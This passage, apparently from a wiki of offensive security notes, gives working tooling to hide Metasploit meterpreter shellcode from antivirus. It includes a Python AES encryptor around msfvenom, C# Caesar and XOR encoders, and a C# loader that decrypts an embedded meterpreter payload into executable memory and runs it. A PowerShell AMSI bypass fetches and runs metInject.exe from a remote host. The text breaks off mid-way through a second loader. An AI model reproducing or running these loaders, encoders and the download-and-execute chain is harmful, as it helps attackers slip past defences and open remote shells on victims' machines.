	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
